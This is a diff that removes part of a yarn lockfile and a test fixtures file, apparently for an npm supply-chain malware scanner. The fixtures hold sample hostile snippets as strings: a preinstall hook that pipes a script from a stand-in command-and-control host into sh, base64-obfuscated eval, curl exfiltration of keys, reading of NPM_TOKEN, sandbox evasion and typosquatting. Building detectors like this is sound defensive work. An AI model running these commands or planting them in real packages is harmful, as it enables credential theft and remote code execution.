- safe-buffer "5.2.1"
86
- send "0.18.0"
87
- serve-static "1.15.0"
88
- setprototypeof "1.2.0"
89
- statuses "2.0.1"
90
- type-is "~1.6.18"
91
- utils-merge "1.0.1"
92
- vary "~1.1.2"
93
- dev false
94
- optional false
95
-
96
- "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
- version "1.0.0"
98
- resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
- integrity sha512-abcdefghijk123456789abcdef
100
- dependencies:
101
- lodash "^4.17.21"
102
- axios "^1.6.0"
103
- dev false
104
- optional false
@@ -1,69 +0,0 @@
1
- export const MOCK_SCANS = [
2
- {
3
- package_name: 'lodash',
4
- version: '4.17.21',
5
- findings: [
6
- { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
- { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
- ],
9
- },
10
- ];
11
-
12
- export const SINGLE_SCAN = MOCK_SCANS[0];
13
-
14
- export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
-
16
- export const MULTI_SEV_SCAN = {
17
- package_name: 'multi-sev', version: '1.0.0', findings: [
18
- { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
- { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
- { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
- { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
- ],
23
- };
24
-
25
- export const ALL_ATK_SCAN = {
26
- package_name: 'all-atk', version: '1.0.0', findings:
27
- Array.from({ length: 11 }, (_, i) => ({
28
- id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
- atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
- severity: 'medium',
31
- title: `ATK-${i + 1}`,
32
- })),
33
- };
34
-
35
- export const CLEAN_PACKAGE = {
36
- name: 'test-pkg',
37
- version: '1.0.0',
38
- scripts: { test: 'node test.js' },
39
- dependencies: { express: '4.0.0' },
40
- };
41
-
42
- export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
-
44
- export const PREINSTALL_MALICIOUS = {
45
- scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
- };
47
-
48
- export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
-
50
- export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
-
52
- export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
-
54
- export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
-
56
- export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
-
58
- export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
-
60
- export const TAMPER_PACKAGE = {
61
- name: 'lodash',
62
- repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
- };
64
-
65
- export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
-
67
- export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
-
69
- export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];